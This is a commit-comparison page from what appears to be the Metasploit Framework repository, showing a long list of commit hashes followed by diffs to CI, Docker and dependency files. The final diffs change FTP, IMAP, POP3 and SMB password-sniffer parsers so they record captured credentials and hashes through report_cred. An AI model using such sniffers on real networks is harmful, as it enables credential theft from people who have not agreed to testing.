Compare commits
600 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| a1a0df74eb | |||
| aefebd996a | |||
| 0aa20c73a4 | |||
| cc565a1731 | |||
| 82c2eb9899 | |||
| 7b618d4f41 | |||
| bf1608a4ad | |||
| f70667124f | |||
| d21e4080a9 | |||
| b79790cff6 | |||
| 06b3004af4 | |||
| a30a7f81e5 | |||
| e288592beb | |||
| 901a972a71 | |||
| 4fcb4a4e3a | |||
| 768ad16d8c | |||
| 175d584ff7 | |||
| 200d03c417 | |||
| a3d8b0f77a | |||
| e66f6c106b | |||
| 3be5988679 | |||
| 2cc8281db7 | |||
| c2a217efcd | |||
| 5735c7cb89 | |||
| 6db865a46c | |||
| b2f36e41c4 | |||
| 66696d201b | |||
| db3b2de3f3 | |||
| 0108f1f214 | |||
| de17261926 | |||
| 64ab62f2c3 | |||
| ca367bc87b | |||
| 19c1a35592 | |||
| 8cddffa3d1 | |||
| eef29a5100 | |||
| bc6bf1c4f3 | |||
| a1b0ff0fcf | |||
| fc963bd8bb | |||
| 94f0d243c7 | |||
| da9164fcc6 | |||
| 90ed3cd00a | |||
| 0e98da39c2 | |||
| bbe1098b13 | |||
| e15fd1a782 | |||
| 6c252de974 | |||
| 7b56d012e8 | |||
| 40701bf59a | |||
| 8dcb409d25 | |||
| 1d9a08f405 | |||
| e49c6a792a | |||
| 8e3daa5179 | |||
| 1d406cfc2a | |||
| d716e60cf2 | |||
| f5c71d09c2 | |||
| 8b70cefd83 | |||
| 996ca8a7c9 | |||
| f75722ecf2 | |||
| dde7e3c5d3 | |||
| eafdb8495b | |||
| d5f30befbb | |||
| 3db32da70f | |||
| 5f703b2e28 | |||
| eca99e2c77 | |||
| 27ccb26de1 | |||
| a75013e51a | |||
| d987b81591 | |||
| 7228a2ad20 | |||
| 747d328bcb | |||
| fa5c4c0193 | |||
| 0d4e1ed755 | |||
| 587a8690a1 | |||
| 08872d0211 | |||
| 0f319bdfb9 | |||
| df81cda304 | |||
| 3447ca37ea | |||
| fc5a12431c | |||
| bd78f03c98 | |||
| 0d250c49fa | |||
| 2409d132ae | |||
| 1794a5fbee | |||
| d18520adc6 | |||
| 9b4d6f1219 | |||
| cb290d8032 | |||
| c05c6773df | |||
| 1cd5b707bb | |||
| 49e689d909 | |||
| 9c6e1a584a | |||
| 423bf0c519 | |||
| 34a8b6c29c | |||
| 94005719f4 | |||
| ef54cfd0f3 | |||
| b762d2ba65 | |||
| d49f60282c | |||
| 202db99004 | |||
| 793f3557a2 | |||
| 45365c8666 | |||
| ce0498377d | |||
| 8eb5aa6aa6 | |||
| 88e1e2e932 | |||
| 84f4c3c13f | |||
| 9e456a27e3 | |||
| 8717e91a3c | |||
| d67aa2e250 | |||
| 982f92b9b6 | |||
| 8106dbe5e0 | |||
| 450fd0876f | |||
| 43eb2a7c9b | |||
| 69eaf75b7a | |||
| b40f36e62a | |||
| a90ff41f71 | |||
| 2f4a1ac300 | |||
| 7e5938061c | |||
| f9fb803af7 | |||
| 5fa1ce8ed2 | |||
| 3cf3d0995e | |||
| 699afaff45 | |||
| 5d165466ff | |||
| 5036d28b44 | |||
| 94223f05fc | |||
| 1d2acd67e4 | |||
| 285fbe5ac5 | |||
| c1df6f2647 | |||
| dc47d03503 | |||
| 72932bdae1 | |||
| 37ee910d2f | |||
| 0c83ad46aa | |||
| 30fc29e0f5 | |||
| 9caa2fac17 | |||
| 99b2bfec1f | |||
| 2c60780dc0 | |||
| 1f292c8a73 | |||
| 1b2a2af4d4 | |||
| 56d2dfa46a | |||
| 934b10a626 | |||
| 630301a0df | |||
| 1cab98f4c2 | |||
| 62e960352f | |||
| 243ebcb3a6 | |||
| c1a08b97d2 | |||
| 11ca24e290 | |||
| 5c9b454291 | |||
| 2653a180e4 | |||
| 648a7b394d | |||
| bd7d4f0099 | |||
| fcd84a41aa | |||
| d940bfd312 | |||
| 2cf706e91f | |||
| 43a7993215 | |||
| 470a28921e | |||
| 3c716041bd | |||
| 3445c1b588 | |||
| a5dc63617f | |||
| 464d2eef73 | |||
| 7fe10d8613 | |||
| 282f97ba2d | |||
| 319cff7d3a | |||
| fd943f1401 | |||
| c780bfcb66 | |||
| 20f73867ca | |||
| 6fdfd7147c | |||
| 9181d93807 | |||
| 87e78d4f8d | |||
| 0625e84b57 | |||
| 8b71afdd53 | |||
| d3bde6b172 | |||
| 108e5afaea | |||
| 02ae96edb0 | |||
| 792708c07b | |||
| b060809a8d | |||
| 4b5d04e59e | |||
| ccb446f2ae | |||
| 436efad4ca | |||
| 47d30696bc | |||
| 84278b8e0e | |||
| e80f0ef8cd | |||
| 03a58c784b | |||
| b72d8d16d4 | |||
| 367783bcb5 | |||
| 9ae54e08bc | |||
| 5975d668f6 | |||
| b109fe0cf7 | |||
| 12b188d186 | |||
| aec2a82af4 | |||
| d546db6055 | |||
| 4039ae137a | |||
| 29524fa7f8 | |||
| cf2f76e6a2 | |||
| 23e184c9ce | |||
| 77a2340b34 | |||
| 85974d16c2 | |||
| ef8f8bc8d3 | |||
| 577304cf7c | |||
| ae1cb57dc3 | |||
| 46e34e5362 | |||
| bb3e872bc5 | |||
| 0e9cad6d45 | |||
| bed552d26e | |||
| 48221e594d | |||
| 7ac4387d35 | |||
| b91648f065 | |||
| 41b517d809 | |||
| 1ff1302df7 | |||
| 372b792b8c | |||
| 18ea7b39af | |||
| 02311bf94a | |||
| 6132264dcd | |||
| be2d2d61ca | |||
| 35778e92b2 | |||
| 1c73cf938f | |||
| 3c46f51924 | |||
| b259c5d6a7 | |||
| 612feac5f1 | |||
| e21dcf34ed | |||
| d9defd40e4 | |||
| 10dfe9c428 | |||
| 5193d30db7 | |||
| 81eba7a6e7 | |||
| 2a4d50c6e7 | |||
| 1c334ad670 | |||
| e5b5f12a4e | |||
| 5054b3bfd0 | |||
| a867793870 | |||
| 546de49bec | |||
| 6e4294c013 | |||
| 15d22d2807 | |||
| 024b855231 | |||
| c8d2727023 | |||
| 764a87fda8 | |||
| 4d0ba2fa1d | |||
| 1abaef4945 | |||
| 056ed770b5 | |||
| 59df04be97 | |||
| f10619d870 | |||
| 6702dd0195 | |||
| 68f333cb7b | |||
| 2efbf6e2f5 | |||
| 44916e67d5 | |||
| 3d476f4ef3 | |||
| b9cf7ba894 | |||
| 1c36d89942 | |||
| c9504f9c53 | |||
| 96316a94fe | |||
| 577898d91b | |||
| b5906418c2 | |||
| 33306fa4dd | |||
| a8c240f671 | |||
| c70092a2c7 | |||
| 08a19959fe | |||
| b5de25a2b6 | |||
| 9a2ec90c16 | |||
| e5f96bdbe1 | |||
| 8a793dd1b0 | |||
| 7ce13101df | |||
| 9e41825e51 | |||
| d05b85de50 | |||
| 97a3e0291e | |||
| 530d58de49 | |||
| 9391e11202 | |||
| 7a7c7eb177 | |||
| 94eeba3521 | |||
| 5ea35c9ffb | |||
| 3cbbfe65f1 | |||
| 2f97f86f49 | |||
| 251305d26b | |||
| fe84c0dff7 | |||
| 96241b3a6e | |||
| 6ad359ee96 | |||
| 4cb18483d6 | |||
| 7a385431cb | |||
| 44bf6867c6 | |||
| 49532613e5 | |||
| 5c25bfd908 | |||
| 502511a71a | |||
| f496a71cf0 | |||
| aac74778b9 | |||
| deabf9b1d8 | |||
| 995c806d81 | |||
| 4784afae6a | |||
| 56f6020ff5 | |||
| 3a076d6cdb | |||
| f2a1d16fbc | |||
| 057facea90 | |||
| 288d4b8c20 | |||
| 15d0d4f0df | |||
| 4f04f91b71 | |||
| 4c525dad66 | |||
| 7bff3042db | |||
| c278ef9b73 | |||
| d20ef7a08b | |||
| 08f6da7b33 | |||
| bcefde29c3 | |||
| 13d2968fad | |||
| 21b49be380 | |||
| 73dbe2e89d | |||
| 904e34434e | |||
| 15652bc29c | |||
| 8c5628826f | |||
| 583d39b038 | |||
| dd3d1a9397 | |||
| 2b938d12e2 | |||
| a25b0ee5e0 | |||
| 8d7907edee | |||
| 11d1a5938e | |||
| 7411dc1b1b | |||
| 71fb0876f6 | |||
| 953382731e | |||
| 67e402e1be | |||
| 094d6ee36b | |||
| e9e5a44522 | |||
| 8e3fbcae26 | |||
| b8a0e33ce3 | |||
| 6430b3f138 | |||
| 46a0052286 | |||
| 2bd93ae72c | |||
| f8bdb02593 | |||
| 4921f6bbd1 | |||
| 1fe448f2f4 | |||
| 9de20d3c7f | |||
| d8bdc258fb | |||
| 7f0f65d867 | |||
| 82e9c2703f | |||
| e58ef0fee4 | |||
| a5dcf5a2f4 | |||
| dfa54d02b9 | |||
| 8af928ec36 | |||
| 919c846064 | |||
| 37e82384e4 | |||
| 06dcc82ced | |||
| 9db6ac7e3c | |||
| fadb0f45dd | |||
| b31abcc9b2 | |||
| 763a97d40a | |||
| 334a469d2c | |||
| f56c9fc9ac | |||
| 391bc4e69e | |||
| eb570f883a | |||
| 847a72c417 | |||
| b1fb58749b | |||
| fbdb025542 | |||
| a4305f0ca0 | |||
| 5d7251ce44 | |||
| 23a9938283 | |||
| d60e38220e | |||
| de6ed9e1d6 | |||
| 6ca4c113ee | |||
| 337400b9b8 | |||
| 1e7b74a0e5 | |||
| 4ff399844f | |||
| c74fd86961 | |||
| 3bb1d2bc02 | |||
| 5ba4aba912 | |||
| 39b094313f | |||
| b8aa55c322 | |||
| 6d14a244a4 | |||
| 977a9f3cd4 | |||
| 40c8c63529 | |||
| e238df4ad7 | |||
| a8d46b3e7a | |||
| f5691e747f | |||
| 6dec82ec24 | |||
| 9ec36f3d4d | |||
| 2919b36f2b | |||
| 70ef0dcb0d | |||
| 518c1e5d3c | |||
| ad7e348eaa | |||
| d7cf9155a6 | |||
| 1ac2b3b8e1 | |||
| 607a2789d0 | |||
| 54788067ff | |||
| 1ba704b1cb | |||
| 46273d5f08 | |||
| f9419c4839 | |||
| ea1dafa353 | |||
| 236f88541f | |||
| 4060e069ed | |||
| 1c4258fd1e | |||
| 56a9beb39d | |||
| f1586f08c3 | |||
| 2cf045d3c4 | |||
| 57f97ac79e | |||
| 0075212fa9 | |||
| 677c355f76 | |||
| 18b2eec1db | |||
| e7f2abbf9e | |||
| 225ef6847f | |||
| 5e25a99700 | |||
| 63e1b49da1 | |||
| c0e02bdeeb | |||
| 6d8666e35b | |||
| f8bd7dfd83 | |||
| cdc66dd91f | |||
| e44b57249d | |||
| 5c7061cc0c | |||
| 5a14575a31 | |||
| 017dcd89a6 | |||
| caf26fbe55 | |||
| 9d66ff650d | |||
| b031311892 | |||
| 381b840f11 | |||
| e711c9ea43 | |||
| 2cfcb74303 | |||
| e9296d1add | |||
| c91660bc54 | |||
| 6f5ec8a069 | |||
| 7da13cedc4 | |||
| ffbaf3b141 | |||
| 57c882cab5 | |||
| ad10cb84a9 | |||
| 43f4705e60 | |||
| 656e65f9b0 | |||
| 6de51a5047 | |||
| 077cad34ab | |||
| dc6d84d823 | |||
| 024bdaec6d | |||
| ad4b47f6ac | |||
| 0d70f254bd | |||
| 234517e3eb | |||
| 6ffebfc822 | |||
| c53bff7ee1 | |||
| b4a043f511 | |||
| 75c2de8c3d | |||
| 85e3eb51a5 | |||
| 7da5ef87e7 | |||
| 99c335a2b4 | |||
| fd7b49981d | |||
| aa0545618b | |||
| 4cb904535e | |||
| 8beb6255cb | |||
| 04c0dede5e | |||
| 6d298c379b | |||
| a4e8714de6 | |||
| ec8ee2814a | |||
| a7c547542f | |||
| 89d6c8c8ef | |||
| de53f45e68 | |||
| 469a325f9b | |||
| 6a851855a8 | |||
| 85897a2596 | |||
| 80e9f1b97d | |||
| a09cf6471a | |||
| a0bc08c6ec | |||
| b10e8d566b | |||
| 98667edf76 | |||
| ee3b8b40b6 | |||
| 94a84960a2 | |||
| e0804cf0cb | |||
| eb902457f2 | |||
| 4bdff53358 | |||
| 08beaddf0a | |||
| cdfa421d15 | |||
| 50579fb1de | |||
| 03f3bf0f2f | |||
| 8d4142a8c7 | |||
| d7f2ed4e4a | |||
| 9dca2e3820 | |||
| 2028fbd226 | |||
| f341f72c72 | |||
| e4af94bb29 | |||
| f92b2662c4 | |||
| 9bb7e0e379 | |||
| adf455e8cb | |||
| 1c5379918c | |||
| 5e59389d2b | |||
| 00cfbc357a | |||
| 216cc6762f | |||
| b2312c97d3 | |||
| 9fdac8fd28 | |||
| 4c1e1f614d | |||
| 52971ad2f6 | |||
| 7c448ceb50 | |||
| afdb34d64a | |||
| 0d1ab00144 | |||
| d5a59ceef1 | |||
| a9f5c11d68 | |||
| 2ab1b7a310 | |||
| 08c5e6a689 | |||
| 97c3ccc8af | |||
| d67d39ace6 | |||
| ed421c21ca | |||
| 3b8f684d08 | |||
| 2f023f7315 | |||
| 2390058b37 | |||
| 11d58ef2e8 | |||
| c162cf3aec | |||
| f8d541daad | |||
| 63eb5f2a35 | |||
| e9df84555e | |||
| beef573fb8 | |||
| d6488dc0c3 | |||
| 8b970af7f6 | |||
| f950711da1 | |||
| d0beea91bd | |||
| 47a58bda3b | |||
| 357bdc8c10 | |||
| b654275ec4 | |||
| 11c12fcb6d | |||
| e72242949e | |||
| a5698f6aa6 | |||
| 94a4a6173f | |||
| 3182cb4000 | |||
| 0a2dea523f | |||
| ce43db0904 | |||
| 54df3d25e0 | |||
| d461187d58 | |||
| 4c404765a4 | |||
| 91c58ba268 | |||
| 526da210ad | |||
| 0394f5f7ad | |||
| 78bac2636b | |||
| 7fafab9680 | |||
| 6f17088e33 | |||
| eeb74cd5e1 | |||
| e3062d45e0 | |||
| fc66cd1522 | |||
| a31de9eb05 | |||
| 9c9af0dca1 | |||
| 1e374403ec | |||
| 22a05c8bf5 | |||
| 3ac9c0c38a | |||
| c895364675 | |||
| 5d7cf90521 | |||
| 5e30328268 | |||
| 6b376b9156 | |||
| e9ff2e55dc | |||
| 9ac3739605 | |||
| 0641839e69 | |||
| a58f7f0558 | |||
| db099f8f4c | |||
| 02302439a0 | |||
| c911ec1413 | |||
| 7bacc642bf | |||
| 2f3e207277 | |||
| d00249f083 | |||
| ff6db7f337 | |||
| 9c869a6768 | |||
| 5de0e4e234 | |||
| 52a23e3afb | |||
| 1749fa1e50 | |||
| 8eefea76ce | |||
| 4e106c2a73 | |||
| 95eb4cc304 | |||
| 3534181067 | |||
| d3b0c538a1 | |||
| 62d3cfa72d | |||
| ce55c1cd78 | |||
| 486f42896f | |||
| 58f79c7b47 | |||
| 7e88279299 | |||
| cf24bca946 | |||
| c55d4ceda0 | |||
| 387c90e91e | |||
| 36cc8f6267 | |||
| b0d7695e10 | |||
| 1f91d2eee9 | |||
| 90d3d6fc0a | |||
| ff44932113 | |||
| 48e2e09dfc | |||
| 83dccfafaf | |||
| 05800296f3 | |||
| 4039ea523a | |||
| 32e5dfb12d | |||
| 56afed78ff | |||
| 095540cea6 | |||
| 2718c078d2 | |||
| d26db0b1dd | |||
| 26e7807154 | |||
| 9105966b20 | |||
| 7dbd938e3b | |||
| 3ffeef36f6 | |||
| ebc18db0ac | |||
| 4906ea228d | |||
| 27b2cdf5b1 | |||
| 32380d8a26 | |||
| a04943063e | |||
| 8c007c0ef7 | |||
| 6056081de5 | |||
| 8301e6c766 | |||
| b9c65d5b75 | |||
| ba196b4264 | |||
| 6ba5d03993 | |||
| 672d651221 | |||
| 9bd819e2d7 | |||
| 70c69f46a5 | |||
| 7876912eab | |||
| ea189d6c34 | |||
| 2cf8b3808c | |||
| 1a3b00e593 | |||
| f5d5541e73 | |||
| 9f10f9402c | |||
| 35609d07e9 | |||
| b4dee448bc | |||
| 7cd447b5d0 | |||
| 203470302a | |||
| 6972a910fb | |||
| 6b5fff6c33 | |||
| 05d6e9815d | |||
| 79d3cc81cb | |||
| 8e33badd80 | |||
| 823824163e | |||
| e3c97148e8 |
@@ -38,6 +38,7 @@ on:
|
||||
- 'lib/msf/core/**'
|
||||
- 'tools/dev/**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
@@ -63,10 +64,10 @@ jobs:
|
||||
# Java - newer versions of Java are not supported currently: https://github.com/rapid7/metasploit-payloads/issues/647
|
||||
- { name: java, runtime_version: 8 }
|
||||
|
||||
# PHP
|
||||
- { name: php, runtime_version: 5.3 }
|
||||
- { name: php, runtime_version: 7.4 }
|
||||
- { name: php, runtime_version: 8.2 }
|
||||
# PHP - Temporarily removed as tests are timing out on Github actions
|
||||
# - { name: php, runtime_version: 5.3 }
|
||||
# - { name: php, runtime_version: 7.4 }
|
||||
# - { name: php, runtime_version: 8.2 }
|
||||
include:
|
||||
# Windows Meterpreter
|
||||
- { meterpreter: { name: windows_meterpreter }, os: windows-2019 }
|
||||
@@ -92,7 +93,7 @@ jobs:
|
||||
if: runner.os == 'Linux'
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- uses: shivammathur/setup-php@5b29e8a45433c406b3902dff138a820a408c45b7
|
||||
- uses: shivammathur/setup-php@6d7209f44a25a59e904b1ee9f3b0c33ab2cd888d
|
||||
if: ${{ matrix.meterpreter.name == 'php' }}
|
||||
with:
|
||||
php-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
|
||||
@@ -76,7 +76,7 @@ jobs:
|
||||
include:
|
||||
- os: ubuntu-latest
|
||||
ruby: '3.1'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" DATASTORE_FALLBACKS=1'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1'
|
||||
test_cmd:
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
|
||||
|
||||
+6
-2
@@ -1,7 +1,8 @@
|
||||
FROM ruby:3.1.4-alpine3.18 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_CONFIG_ARGS="set clean 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
ARG BUNDLER_CONFIG_ARGS="set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
ARG BUNDLER_FORCE_CLEAN="true"
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV TOOLS_HOME=/usr/src/tools
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
@@ -33,8 +34,11 @@ RUN apk add --no-cache \
|
||||
go \
|
||||
&& echo "gem: --no-document" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& bundle config $BUNDLER_ARGS \
|
||||
&& bundle config $BUNDLER_CONFIG_ARGS \
|
||||
&& bundle install --jobs=8 \
|
||||
&& if [ "${BUNDLER_FORCE_CLEAN}" == "true" ]; then \
|
||||
bundle clean --force; \
|
||||
fi \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
|
||||
@@ -52,3 +52,4 @@ group :test do
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
end
|
||||
|
||||
|
||||
+8
-7
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.3.48)
|
||||
metasploit-framework (6.3.57)
|
||||
actionpack (~> 7.0.0)
|
||||
activerecord (~> 7.0.0)
|
||||
activesupport (~> 7.0.0)
|
||||
@@ -33,7 +33,7 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.161)
|
||||
metasploit-payloads (= 2.0.166)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.26)
|
||||
mqtt
|
||||
@@ -60,6 +60,7 @@ PATH
|
||||
rb-readline
|
||||
recog
|
||||
redcarpet
|
||||
reline
|
||||
rex-arch
|
||||
rex-bin_tools
|
||||
rex-core
|
||||
@@ -264,7 +265,7 @@ GEM
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
zeitwerk
|
||||
metasploit-credential (6.0.6)
|
||||
metasploit-credential (6.0.7)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -278,7 +279,7 @@ GEM
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.161)
|
||||
metasploit-payloads (2.0.166)
|
||||
metasploit_data_models (6.0.3)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
@@ -377,7 +378,7 @@ GEM
|
||||
nokogiri
|
||||
redcarpet (3.6.0)
|
||||
regexp_parser (2.8.1)
|
||||
reline (0.3.8)
|
||||
reline (0.4.1)
|
||||
io-console (~> 0.5)
|
||||
require_all (3.0.0)
|
||||
rex-arch (0.1.15)
|
||||
@@ -418,7 +419,7 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.55)
|
||||
rex-socket (0.1.56)
|
||||
rex-core
|
||||
rex-sslscan (0.1.10)
|
||||
rex-core
|
||||
@@ -473,7 +474,7 @@ GEM
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.3.1)
|
||||
ruby_smb (3.3.2)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
|
||||
+6
-6
@@ -79,10 +79,10 @@ macaddr, 1.7.2, ruby
|
||||
memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.2, "New BSD"
|
||||
metasploit-credential, 6.0.6, "New BSD"
|
||||
metasploit-framework, 6.3.48, "New BSD"
|
||||
metasploit-credential, 6.0.7, "New BSD"
|
||||
metasploit-framework, 6.3.57, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-payloads, 2.0.161, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 2.0.166, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.3, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
@@ -134,7 +134,7 @@ rb-readline, 0.5.5, BSD
|
||||
recog, 3.1.2, unknown
|
||||
redcarpet, 3.6.0, MIT
|
||||
regexp_parser, 2.8.1, MIT
|
||||
reline, 0.3.8, ruby
|
||||
reline, 0.4.1, ruby
|
||||
require_all, 3.0.0, MIT
|
||||
rex-arch, 0.1.15, "New BSD"
|
||||
rex-bin_tools, 0.1.9, "New BSD"
|
||||
@@ -149,7 +149,7 @@ rex-powershell, 0.1.99, "New BSD"
|
||||
rex-random_identifier, 0.1.11, "New BSD"
|
||||
rex-registry, 0.1.5, "New BSD"
|
||||
rex-rop_builder, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.55, "New BSD"
|
||||
rex-socket, 0.1.56, "New BSD"
|
||||
rex-sslscan, 0.1.10, "New BSD"
|
||||
rex-struct2, 0.1.4, "New BSD"
|
||||
rex-text, 0.2.53, "New BSD"
|
||||
@@ -171,7 +171,7 @@ ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.3.0, "New BSD"
|
||||
ruby_smb, 3.3.2, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
|
||||
@@ -16,6 +16,8 @@ services:
|
||||
enabled: yes
|
||||
- type: IMAP
|
||||
enabled: yes
|
||||
- type: LDAP
|
||||
enabled: yes
|
||||
- type: MSSQL
|
||||
enabled: yes
|
||||
- type: MySQL
|
||||
|
||||
@@ -40,7 +40,16 @@ class SnifferFTP < BaseProtocolParser
|
||||
|
||||
when :login_fail
|
||||
if(s[:user] and s[:pass])
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Response code 5 from server",
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Failed FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
||||
|
||||
s[:pass] = ""
|
||||
@@ -49,7 +58,16 @@ class SnifferFTP < BaseProtocolParser
|
||||
|
||||
when :login_pass
|
||||
if(s[:user] and s[:pass])
|
||||
report_auth_info(s)
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Response code 230 from server",
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful FTP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]}")
|
||||
# Remove it form the session objects so freeup memory
|
||||
sessions.delete(s[:session])
|
||||
|
||||
@@ -44,7 +44,16 @@ class SnifferIMAP < BaseProtocolParser
|
||||
|
||||
when :login_pass
|
||||
|
||||
report_auth_info(s)
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Capability OK reponse from server",
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
@@ -52,14 +61,32 @@ class SnifferIMAP < BaseProtocolParser
|
||||
|
||||
when :login_fail
|
||||
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Capability NO response from server",
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Failed IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
sessions.delete(s[:session])
|
||||
|
||||
when :login_bad
|
||||
report_auth_info(s.merge({:active => false}))
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:sname],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => "Capability BAD response from server",
|
||||
:status => Metasploit::Model::Login::Status::UNTRIED
|
||||
)
|
||||
print_status("Bad IMAP Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
|
||||
@@ -52,7 +52,16 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
s[:proto] = "tcp"
|
||||
s[:name] = "pop3"
|
||||
s[:extra] = "Successful Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:name],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => s[:extra],
|
||||
:status => Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
)
|
||||
print_status("Successful POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
|
||||
# Remove it form the session objects so freeup
|
||||
@@ -72,7 +81,16 @@ class SnifferPOP3 < BaseProtocolParser
|
||||
|
||||
s[:proto]="pop3"
|
||||
s[:extra]="Failed Login. Banner: #{s[:banner]}"
|
||||
report_auth_info(s)
|
||||
report_cred(
|
||||
:ip => s[:host],
|
||||
:port => s[:port],
|
||||
:service_name => s[:proto],
|
||||
:user => s[:user],
|
||||
:password => s[:pass],
|
||||
:type => :password,
|
||||
:proof => s[:extra],
|
||||
:status => Metasploit::Model::Login::Status::INCORRECT
|
||||
)
|
||||
print_status("Invalid POP3 Login: #{s[:session]} >> #{s[:user]} / #{s[:pass]} (#{s[:banner].strip})")
|
||||
s[:pass]=""
|
||||
end
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
# When db is available reports go into db
|
||||
#
|
||||
|
||||
#Memo :
|
||||
#Memo :
|
||||
#FOR SMBV1
|
||||
# Authentification without extended security set
|
||||
#1) client -> server : smb_negotiate (0x72) : smb.flags2.extended_sec = 0
|
||||
@@ -20,7 +20,7 @@
|
||||
#5) client -> server : smb_setup_andx (0x73) : contains an ntlm_type3 message with the lm/ntlm hashes
|
||||
#6) server -> client : smb_setup_andx (0x73) : if status = success then authentification = ok
|
||||
#FOR SMBV2
|
||||
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
|
||||
#SMBv2 is pretty similar. However, extended security is always set and it is using a newer set of smb negociate and session_setup command for requets/response
|
||||
|
||||
class SnifferSMB < BaseProtocolParser
|
||||
|
||||
@@ -132,7 +132,7 @@ class SnifferSMB < BaseProtocolParser
|
||||
ntlmlength = payload[53,2].unpack("v")[0]
|
||||
s[:lmhash] = payload[65,lmlength].unpack("H*")[0]
|
||||
